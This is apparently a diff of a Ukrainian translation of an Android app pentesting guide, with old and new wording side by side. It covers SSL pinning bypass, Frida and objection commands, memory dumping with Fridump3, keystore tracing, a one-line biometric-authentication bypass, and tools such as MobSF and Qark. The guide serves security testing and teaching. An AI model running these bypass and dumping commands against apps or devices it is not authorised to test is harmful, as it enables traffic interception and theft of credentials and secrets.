- Можна також спробувати **автоматично обійти SSL Pinning** за допомогою **MobSF dynamic analysis** (пояснено нижче)
- Якщо ви все ще вважаєте, що частину трафіку не перехоплюєте, можна спробувати **перенаправити трафік до burp за допомогою iptables**. Читайте цей блог: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- Автоматично **змінити** **apk**, щоб **bypass** SSLPinning за допомогою [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Найбільша перевага цього варіанту в тому, що для bypass SSL Pinning root не потрібен, але доведеться видалити додаток і перевстановити його, і це не завжди працює.
- Ви можете використати **Frida** (описано нижче) для bypass цього захисту. Ось гайд для використання Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Ви також можете спробувати **automatically bypass SSL Pinning** за допомогою [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Ви також можете спробувати **automatically bypass SSL Pinning** використовуючи **MobSF dynamic analysis** (описано нижче)
- Якщо ви все ще вважаєте, що частина трафіку не перехоплюється, можна спробувати **forward the traffic to burp using iptables**. Читайте цю статтю: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Пошук загальних веб-уразливостей
#### Looking for Common Web Vulnerabilities
Також важливо шукати загальні веб-уразливості всередині додатку. Детальна інформація про ідентифікацію та пом’якшення цих уразливостей виходить за рамки цього резюме, але детально розглянута в інших джерелах.
Важливо також шукати загальні web-вразливості в додатку. Детальна інформація щодо ідентифікації та пом'якшення цих вразливостей виходить за рамки цього резюме, але детально описана в інших матеріалах.
### Frida
[Frida](https://www.frida.re) — це dynamic instrumentation toolkit для розробників, реверс-інженерів та дослідників з безпеки.\
**Ви можете отримати доступ до запущеного застосунку та hook methods під час виконання, змінювати поведінку, змінювати значення, витягувати значення, виконувати інший код...**\
Якщо ви хочете робити pentesting Android-додатків, вам потрібно вміти користуватися Frida.
[Frida](https://www.frida.re) — це інструментарій динамічної інструментації для розробників, реверс-інженерів та дослідників безпеки.\
**Ви можете отримати доступ до працюючого додатку та hook methods під час виконання, щоб змінювати поведінку, змінювати значення, витягувати значення, запускати інший код...**\
Якщо ви хочете pentest Android-додатки, потрібно вміти користуватись Frida.
- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html)
- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Спробуйте обійти anti-debugging / anti-frida механізми, завантаживши Frida як описано в [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (інструмент [linjector](https://github.com/erfur/linjector-rs))
- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
#### Anti-instrumentation & SSL pinning bypass workflow
@ -521,11 +523,11 @@ python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}}
### **Dump Memory - Fridump**
### **Дамп пам'яті - Fridump**
Перевірте, чи зберігає застосунок конфіденційну інформацію в пам’яті, що не повинен зберігати — наприклад паролі або мнемоніки.
Перевірте, чи додаток не зберігає в пам'яті конфіденційну інформацію, якої не повинен зберігати, наприклад паролі або мнемонічні фрази.
Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with:
Використовуючи [**Fridump3**](https://github.com/rootbsd/fridump3) ви можете зробити дамп пам'яті додатку за допомогою:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -534,64 +536,64 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Це вивантажить пам'ять у папку ./dump, і там ви можете виконати grep приблизно так:
Це скине пам'ять у папку ./dump, і там ви можете за допомогою grep виконати щось на кшталт:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
### **Чутливі дані в Keystore**
В Android Keystore — найкраще місце для зберігання чутливих даних; однак за наявності достатніх привілеїв до нього все ще **можна отримати доступ**. Оскільки додатки схильні зберігати тут **sensitive data in clear text**, pentests повинні перевіряти це, оскільки root user або особа з фізичним доступом до пристрою може викрасти ці дані.
В Android Keystore — найкраще місце для зберігання чутливих даних, однак за наявності достатніх привілеїв все одно **можна отримати до нього доступ**. Оскільки додатки зазвичай тут зберігають **чутливі дані у відкритому вигляді**, pentests повинні перевіряти це як root user, інакше особа з фізичним доступом до пристрою може вкрасти ці дані.
Навіть якщо додаток зберігав дані в keystore, вони мають бути зашифровані.
Навіть якщо додаток зберіг дані в Keystore, ці дані мають бути зашифровані.
Щоб отримати доступ до даних у keystore, можна використати цей Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
Щоб отримати доступ до даних всередині Keystore, можна використати цей Frida скрипт: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
Використовуючи наведений Frida-скрипт, можливо здійснити **bypass fingerprint authentication**, що Android-застосунки можуть виконувати з метою **захисту певних чутливих областей:**
За допомогою наведеного Frida script може стати можливим **bypass fingerprint authentication**, яке Android applications використовують для **захисту певних чутливих областей:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **Фонові зображення**
Коли ви відправляєте додаток у фон, Android зберігає **знімок додатка**, тож під час відновлення на передній план він починає завантажувати це зображення перед самим додатком, щоб здавалося, ніби додаток завантажився швидше.
Коли ви переводите додаток у фоновий режим, Android зберігає **знімок додатка**, тож під час відновлення на передній план він починає завантажувати це зображення перед самим додатком — це створює враження, що додаток відкрився швидше.
Однак, якщо цей знімок містить **чутливу інформацію**, той, хто має доступ до знімка, може **вкрасти цю інформацію** (зауважте, що для доступу потрібен root).
Однак, якщо цей знімок містить **чутливу інформацію**, хтось із доступом до нього може **вкрасти цю інформацію** (зверніть увагу, що для доступу потрібен root).
Зазвичай знімки зберігаються за адресою: **`/data/system_ce/0/snapshots`**
Знімки зазвичай зберігаються за шляхом: **`/data/system_ce/0/snapshots`**
Android надає спосіб **запобігти захопленню скриншотів шляхом встановлення параметра макета FLAG_SECURE**. Використовуючи цей флаг, вміст вікна вважається захищеним, що перешкоджає його появі у скриншотах або перегляду на незахищених дисплеях.
Android надає спосіб **заборонити захоплення знімків екрана шляхом встановлення параметра макета FLAG_SECURE**. Використовуючи цей прапорець, вміст вікна позначається як захищений, що запобігає його появі у знімках екрана або перегляду на незахищених дисплеях.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Аналізатор Android-застосунків**
### **Аналізатор Android-додатків**
Цей інструмент може допомогти у керуванні різними інструментами під час динамічного аналізу: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
Цей інструмент може допомогти в управлінні різними інструментами під час dynamic analysis: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Intent Injection
Розробники часто створюють проксі-компоненти, такі як activities, services і broadcast receivers, які обробляють ці Intents і передають їх у методи, такі як `startActivity(...)` або `sendBroadcast(...)`, що може бути ризиковано.
Розробники часто створюють proxy components, такі як activities, services, і broadcast receivers, які обробляють ці Intents і передають їх у методи на кшталт `startActivity(...)` або `sendBroadcast(...)`, що може бути небезпечно.
Небезпека полягає в тому, що дозволяється атакуючим тригерити non-exported app components або отримувати доступ до чутливих content providers, перенаправивши ці Intents. Помітний приклад — компонент `WebView`, який перетворює URL на об'єкти `Intent` за допомогою `Intent.parseUri(...)` і потім виконує їх, що може призвести до malicious Intent injections.
Небезпека полягає в тому, що атакувальники можуть змусити виконати non-exported app components або отримати доступ до чутливих content providers, перенаправивши ці Intents. Яскравий приклад — компонент `WebView`, який конвертує URL у `Intent` через `Intent.parseUri(...)` і потім виконує їх, що потенційно може призвести до malicious Intent injections.
### Essential Takeaways
- **Intent Injection** схоже на веб-проблему Open Redirect.
- Експлойти передбачають передачу об'єктів `Intent` як extras, які можуть бути перенаправлені для виконання небезпечних операцій.
- Це може відкрити non-exported components і content providers для атакуючих.
- Конвертація URL у `Intent` у `WebView` може сприяти небажаним діям.
- **Intent Injection** is similar to web's Open Redirect issue.
- Exploits involve passing `Intent` objects as extras, which can be redirected to execute unsafe operations.
- It can expose non-exported components and content providers to attackers.
- `WebView`s URL to `Intent` conversion can facilitate unintended actions.
### Клієнтські ін'єкції в Android та інше
### Android Client Side Injections and others
Ймовірно, ви знайомі з таким типом вразливостей з Web. У Android-застосунку потрібно бути особливо уважним щодо цих вразливостей:
Ймовірно, ви вже знаєте про цей тип вразливостей з Web. Слід бути особливо обережним із цими вразливостями в Android-додатку:
- **SQL Injection:** При роботі з динамічними запитами або Content-Providers переконайтеся, що ви використовуєте параметризовані запити.
- **JavaScript Injection (XSS):** Переконайтеся, що підтримка JavaScript і плагінів вимкнена для всіх WebView (вимкнено за замовчуванням). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** Доступ WebView до файлової системи має бути відключений (увімкнено за замовчуванням) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: У кількох випадках, коли Android-застосунок завершує сесію, cookie не відкликається або навіть може зберігатися на диску
- [**Secure Flag** у cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
- **SQL Injection:** При роботі з dynamic queries або Content-Providers переконайтеся, що ви використовуєте parameterized queries.
- **JavaScript Injection (XSS):** Переконайтеся, що JavaScript та Plugin support вимкнені для будь-яких WebViews (вимкнено за замовчуванням). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViews повинні мати доступ до файлової системи вимкненим (увімкнено за замовчуванням) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: У кількох випадках, коли Android-додаток завершує сесію, cookie не відкликається або навіть може зберігатися на диску.
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
@ -603,7 +605,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
![](<../../images/image (866).png>)
**Оцінка вразливостей застосунку** з використанням зручного веб-інтерфейсу. Також можна виконувати динамічний аналіз (але потрібно підготувати середовище).
**Vulnerability assessment of the application** using a nice web-based frontend. You can also perform dynamic analysis (but you need to prepare the environment).
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -611,14 +613,14 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also.
MobSF також дозволяє виконувати **diff/Compare** аналіз і інтегрувати **VirusTotal** (вам потрібно встановити ваш API key у _MobSF/settings.py_ та увімкнути його: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Ви також можете встановити `VT_UPLOAD` в `False`, тоді **hash** буде **upload** замість файлу.
MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
### Assisted Dynamic analysis with MobSF
**MobSF** також дуже корисний для **dynamic analysis** в **Android**, але в цьому випадку вам потрібно встановити MobSF і **genymotion** на вашому хості (VM або Docker не працюватиме). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
**MobSF dynamic analyser** може:
**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
The **MobSF dynamic analyser** can:
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Усе це робиться автоматично, крім знімків екрана — їх потрібно робити вручну або натиснути "**Exported Activity Tester**", щоб отримати знімки всіх exported activities.
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities.
- Capture **HTTPS traffic**
- Use **Frida** to obtain **runtime** **information**
@ -626,28 +628,28 @@ From android **versions > 5**, it will **automatically start Frida** and will se
**Frida**
За замовчуванням MobSF також використовує деякі Frida Scripts щоб **bypass SSL pinning**, **root detection** та **debugger detection** і для **monitor interesting APIs**.\
MobSF також може **invoke exported activities**, робити **screenshots** цих активностей і **save** їх для звіту.
By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\
MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
Щоб **start** dynamic testing натисніть зелену кнопку: "**Start Instrumentation**". Натисніть "**Frida Live Logs**", щоб побачити логи, згенеровані Frida scripts, та "**Live API Monitor**", щоб побачити всі виклики до hooked methods, передані аргументи та returned values (це з’явиться після натискання "Start Instrumentation").\
MobSF також дозволяє завантажувати власні **Frida scripts** (щоб відправити результати ваших Frida скриптів до MobSF використовуйте функцію `send()`). Також є **several pre-written scripts**, які можна завантажити (можна додати більше в `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), просто **select them**, натисніть "**Load**" і потім "**Start Instrumentation**" (логи цих скриптів будуть відображатися в "**Frida Live Logs**").
To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\
MobSF also allows you to load your own **Frida scripts** (to send the results of your Frida scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
![](<../../images/image (419).png>)
Крім того, доступні деякі допоміжні Frida функції:
Moreover, you have some Auxiliary Frida functionalities:
- **Enumerate Loaded Classes**: Друкує всі завантажені класи
- **Capture Strings**: Друкує всі захоплені рядки під час використання додатку (дуже шумно)
- **Capture String Comparisons**: Може бути дуже корисно. Показує дві строки, що порівнюються, і чи був результат True або False.
- **Enumerate Class Methods**: Введіть ім’я класу (наприклад "java.io.File"), і воно виведе всі методи класу.
- **Search Class Pattern**: Шукає класи за шаблоном
- **Trace Class Methods**: **Trace** весь **class** (дивиться inputs і outputs всіх методів класу). Пам’ятайте, що за замовчуванням MobSF трасує декілька цікавих Android Api methods.
- **Enumerate Loaded Classes**: It will print all the loaded classes
- **Capture Strings**: It will print all the capture strings while using the application (super noisy)
- **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False.
- **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class.
- **Search Class Pattern**: Search classes by pattern
- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of the class). Remember that by default MobSF traces several interesting Android Api methods.
Після вибору потрібного auxiliary module потрібно натиснути "**Start Intrumentation**", і всі виводи з’являться у "**Frida Live Logs**".
Once you have selected the auxiliary module you want to use you need to press "**Start Instrumentation**" and you will see all the outputs in "**Frida Live Logs**".
**Shell**
MobSF також надає shell з деякими **adb** командами, **MobSF commands**, та загальними **shell** **commands** у нижній частині сторінки dynamic analysis. Декілька цікавих команд:
Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands:
```bash
help
shell ls
@ -656,24 +658,24 @@ exported_activities
services
receivers
```
**HTTP інструменти**
**HTTP tools**
Коли HTTP-трафік захоплено, ви можете побачити неохайне представлення захопленого трафіку внизу в "**HTTP(S) Traffic**" або більш приємне представлення у зеленій кнопці "**Start HTTPTools**". З другого варіанту ви можете надіслати **захоплені запити** на **proxies** такі як Burp або Owasp ZAP.\
Для цього: _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> натисніть "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\
To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Після завершення dynamic analysis з MobSF ви можете натиснути на "**Start Web API Fuzzer**", щоб **fuzz http requests** і шукати вразливості.
Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities.
> [!TIP]
> Після виконання dynamic analysis з MobSF налаштування proxy можуть бути неправильно сконфігуровані, і ви не зможете виправити їх через GUI. Ви можете виправити налаштування proxy, виконавши:
> After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing:
>
> ```
> adb shell settings put global http_proxy :0
> ```
### Assisted Dynamic Analysis with Inspeckage
### Асистований динамічний аналіз з Inspeckage
You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
Цей інструмент використовує деякі **Hooks**, щоб показувати, що відбувається в додатку, поки ви виконуєте **dynamic analysis**.
Цей інструмент використовує деякі **Hooks**, щоб повідомляти, **що відбувається в додатку**, поки ви виконуєте **динамічний аналіз**.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
@ -683,7 +685,7 @@ This is a **great tool to perform static analysis with a GUI**
### [Qark](https://github.com/linkedin/qark)
Цей інструмент призначений для пошуку кількох **security related Android application vulnerabilities**, як у **source code**, так і в **packaged APKs**. Інструмент також **capable of creating a "Proof-of-Concept" deployable APK** та **ADB commands**, щоб експлуатувати деякі з знайдених вразливостей (Exposed activities, intents, tapjacking...). Як і з Drozer, немає потреби root-ити тестовий пристрій.
This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -692,10 +694,10 @@ qark --java path/to/specific/java/file.java
```
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- Відображає всі витягнуті файли для зручного перегляду
- Автоматично декомпілює APK-файли в Java та Smali формати
- Аналізує AndroidManifest.xml на предмет поширених вразливостей і поведінки
- Статичний аналіз вихідного коду на предмет поширених вразливостей і поведінки
- Відображає всі вилучені файли для зручного перегляду
- Автоматично декомпілює APK файли в форматах Java та Smali
- Аналізує AndroidManifest.xml на наявність поширених вразливостей та поведінки
- Статичний аналіз вихідного коду на поширені вразливості та поведінку
- Інформація про пристрій
- та інше
```bash
@ -703,11 +705,11 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER — це застосунок командного рядка, який можна використовувати у Windows, MacOS X та Linux; він аналізує _.apk_ файли в пошуках вразливостей. Він робить це, розпаковуючи APK та застосовуючи набір правил для виявлення цих вразливостей.
SUPER — консольна програма, яку можна запускати у Windows, MacOS X та Linux, яка аналізує _.apk_ файли в пошуку вразливостей. Вона робить це, розпаковуючи APKs та застосовуючи серію правил для виявлення цих вразливостей.
Усі правила зосереджені у файлі `rules.json`, і кожна компанія або тестувальник може створити власні правила для аналізу того, що їм потрібно.
Усі правила зібрані у файлі `rules.json`, і кожна компанія або тестувальник може створити власні правила для аналізу того, що їм потрібно.
Завантажте останні бінарні файли на [download page](https://superanalyzer.rocks/download.html)
Завантажте останні бінарні файли зі сторінки [download page](https://superanalyzer.rocks/download.html)
```
super-analyzer {apk_file}
```
@ -715,17 +717,17 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>)
StaCoAn is a **кросплатформний** інструмент, який допомагає розробникам, bugbounty hunters та ethical hackers у проведенні [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) у мобільних додатках.
StaCoAn — це **кросплатформний** інструмент, який допомагає розробникам, bugbounty hunters та ethical hackers виконувати [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) на мобільних застосунках.
The concept is that you drag and drop your mobile application file (an .apk or .ipa file) on the StaCoAn application and it will generate a visual and portable report for you. You can tweak the settings and wordlists to get a customized experience.
Концепція полягає в тому, що ви перетягуєте файл вашого мобільного застосунку (.apk або .ipa) у застосунок StaCoAn, і він згенерує для вас візуальний та портативний звіт. Ви можете налаштувати параметри та wordlists, щоб отримати індивідуальний досвід.
Завантажити[ latest release](https://github.com/vincentcox/StaCoAn/releases):
Download[ latest release](https://github.com/vincentcox/StaCoAn/releases):
```
./stacoan
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework — це система аналізу вразливостей для Android, яка допомагає розробникам або hackers знаходити потенційні вразливості безпеки в додатках Android.\
AndroBugs Framework — це система аналізу вразливостей для Android, яка допомагає розробникам або hackers знаходити потенційні вразливості безпеки в Android-застосунках.\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -733,11 +735,11 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn** — це інструмент, основна мета якого — виявляти і попереджати користувача про потенційно шкідливу поведінку, розроблену Android-застосунком.
**Androwarn** — інструмент, основна мета якого — виявляти та попереджати користувача про потенційно шкідливу поведінку Android-застосунку.
Виявлення здійснюється за допомогою **static analysis** Dalvik bytecode застосунку, представленого у вигляді **Smali**, з використанням бібліотеки [`androguard`](https://github.com/androguard/androguard).
Виявлення виконується за допомогою **static analysis** байткоду Dalvik застосунку, представленого як **Smali**, з використанням бібліотеки [`androguard`](https://github.com/androguard/androguard).
Цей інструмент шукає **common behavior of "bad" applications** такі як: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
Цей інструмент шукає **common behavior of "bad" applications**, такі як: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -745,30 +747,30 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** — це фреймворк для **M**obile **A**pplication **R**everse engineering and **A**nalysis. Це інструмент, який збирає разом поширені інструменти для зворотного інжинірингу та аналізу мобільних додатків, щоб допомогти в тестуванні мобільних додатків проти загроз мобільної безпеки OWASP. Його мета — зробити це завдання простішим і зручнішим для розробників мобільних додатків та фахівців з безпеки.
**MARA** — це фреймворк для Mobile Application Reverse engineering and Analysis. Це інструмент, який об’єднує поширені інструменти для реверс-інжинірингу та аналізу мобільних додатків, щоб допомогти у тестуванні мобільних додатків на предмет загроз OWASP mobile security. Його мета — зробити це завдання простішим та зручнішим для mobile application developers і security professionals.
Фреймворк дозволяє:
Він може:
- Extract Java and Smali code using different tools
- Аналізувати APK за допомогою: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Extract private information from the APK using regexps.
- Аналізувати Manifest.
- Аналізувати знайдені домени за допомогою: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) та [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Deobfuscate APK via [apk-deguard.com]
- Analyze the Manifest.
- Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com)
### Koodous
Корисно для виявлення malware: [https://koodous.com/](https://koodous.com)
Корисно для виявлення malware: [https://koodous.com/](https://koodous.com/)
## Obfuscating/Deobfuscating code
Зауважте, що залежно від сервісу та конфігурації, які ви використовуєте для обфускації коду, секрети можуть бути обфусцовані або ні.
Зверніть увагу, що в залежності від сервісу та конфігурації, яку ви використовуєте для обфускації коду, секрети можуть бути або не бути обфусцовані.
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2.
ProGuard розповсюджується як частина Android SDK і запускається при збірці додатка в режимі release.
ProGuard розповсюджується як частина Android SDK і запускається при збірці застосунку в release-режимі.
### [DexGuard](https://www.guardsquare.com/dexguard)
@ -786,7 +788,7 @@ Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexgu
**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.**
Ви можете завантажити обфускований APK на їхню платформу.
Ви можете завантажити обфусцований APK на їхню платформу.
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
@ -794,11 +796,11 @@ This is a LLM tool to find any potential security vulnerabilities in android app
### [Simplify](https://github.com/CalebFenton/simplify)
Це **generic android deobfuscator.** Simplify **virtually executes an app** щоб зрозуміти її поведінку, а потім **прагне оптимізувати код**, щоб він поводився ідентично, але був легшим для розуміння людиною. Кожен тип оптимізації простий і загальний, тому не має значення, який саме тип обфускації використовується.
It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used.
### [APKiD](https://github.com/rednaga/APKiD)
APKiD дає інформацію про **how an APK was made**. Він ідентифікує багато **compilers**, **packers**, **obfuscators**, та інші дивні речі. Це [_PEiD_](https://www.aldeid.com/wiki/PEiD) для Android.
APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android.
### Manual
@ -808,12 +810,12 @@ APKiD дає інформацію про **how an APK was made**. Він іде
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b — це віртуальна машина для Android security на базі ubuntu-mate, яка включає збірку останніх фреймворків, туторіалів і лабораторій від різних ентузіастів і дослідників для reverse engineering та malware analysis.
AndroL4b is an Android security virtual machine based on ubuntu-mate includes the collection of latest framework, tutorials and labs from different security geeks and researchers for reverse engineering and malware analysis.
## References
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Це відмінний список ресурсів
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Це чудовий список ресурсів
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)

View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
This page provides a practical workflow to regain dynamic analysis against Android apps that detect/rootblock instrumentation or enforce TLS pinning. It focuses on fast triage, common detections, and copypasteable hooks/tactics to bypass them without repacking when possible.
